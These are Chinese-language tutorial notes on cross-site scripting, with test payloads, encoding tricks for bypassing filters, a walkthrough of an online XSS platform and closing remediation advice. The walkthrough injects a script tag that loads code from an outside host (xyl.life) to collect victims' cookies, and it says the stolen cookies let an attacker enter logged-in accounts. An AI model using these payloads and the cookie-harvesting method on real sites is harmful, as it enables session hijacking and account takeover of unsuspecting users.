XSS進階筆記 & XSS平臺使用
XSS常用語句及編碼繞過
XSS常用的測試語句有:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
常見的XSS的繞過編碼有JS編碼、HTML實體編碼和URL編碼
JS編碼
JS提供了四種字元編碼的策略,如下所示。
- 三個八進位制數字,如果個數不夠,在前面補0,例如“e” 的編碼為“\145” ;
- 兩個十六進位制數字,如果個數不夠,在前面補0,例如"e" 的編碼為"\x65" ;
- 四個十六進位制數字,如果個數不夠,在前面補0,例如"e" 的編碼為“\u0065”;
- 對於一些控制字元,使用特殊的C型別的轉義風格(例如和\r) 。
HTML實體編碼
- 命名實體:以&開頭,以分號結尾的,例如"<"的編碼是"<" 。
- 字元編碼:十進位制、十六進位制ASCII碼或Unicode字元編碼,樣式為"&#數值;",例如"<" 可以編碼為 "<" 和"<"
URL編碼
這裡的URL編碼,也是兩次URL全編碼的結果。如果alert被過濾,結果為%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34。
在使用XSS編碼測試時,需要考慮HTML渲染的順序,特別是針對多種編碼組合時,要選擇合適的編碼方式進行測試。
使用XSS平臺測試XSS漏洞
XSS線上平臺
首先在XSS平臺註冊賬並登入,單擊"我的專案”中的“建立” 按鈕,頁面中的名稱和描述是分類的,隨意填寫即可。勾選“預設模組”選項後單擊"下一步”按鈕。這裡不要太多模組都勾選,非常非常容易導致JS報錯,如果報錯,那麼可能你就收不到對方的中招資訊了。儘量只勾選一個或兩個。這裡說明一下,注意上方的紅框,這裡最好是複製上方第一個紅色方框中的內容,例如:
<sCRiPt sRC=//xyl.life/xxxx></sCrIpT>
這個就是專案給你的程式碼,這裡說一下你需要測試的網站是https的網站且你的XSS平臺也支援https那麼你可以把這個程式碼改成 <sCRiPt sRC=https://xyl.life/xxxx></sCrIpT>
這裡還要說明一下,其實
<sCRiPt sRC=//xyl.life/xxxx></sCrIpT>
當網站前面是//的時候,程式碼會自動適配網站,如果對方網站是https的那麼程式碼會自動從https載入,如果對方網站是http的那麼程式碼會從http載入。所以,預設的這種方式是最好的插入方式。頁面上顯示了多種利用程式碼,在實際情況中, 一般會根據HTML原始碼選擇合適的利用程式碼,以此構造瀏覽器能夠執行的程式碼,這裡選擇第一種利用程式碼。
將利用程式碼插入到存在XSS漏洞的URL後,檢視原始碼。發現瀏覽器成功執行XSS的利用程式碼
然後如果對方中招了,那麼你的XSS平臺就會有收到對方的資訊。
回到XSS平臺,可以看到我們已經獲取了資訊,其中包含來源地址、cookie、IP、 瀏覽器等,如果使用者處於登入狀態,可修改cookie並進入該使用者的賬戶。
XSS漏洞修復建議
因為XSS漏洞涉及輸入和輸出兩部分,所以其修復也分為兩種。
●過濾輸入的資料,包括'、"、<、>、on* 等非法字元。
●對輸出到頁面的資料進行相應的編碼轉換,包括HTML實體編碼、JavaScript編碼等。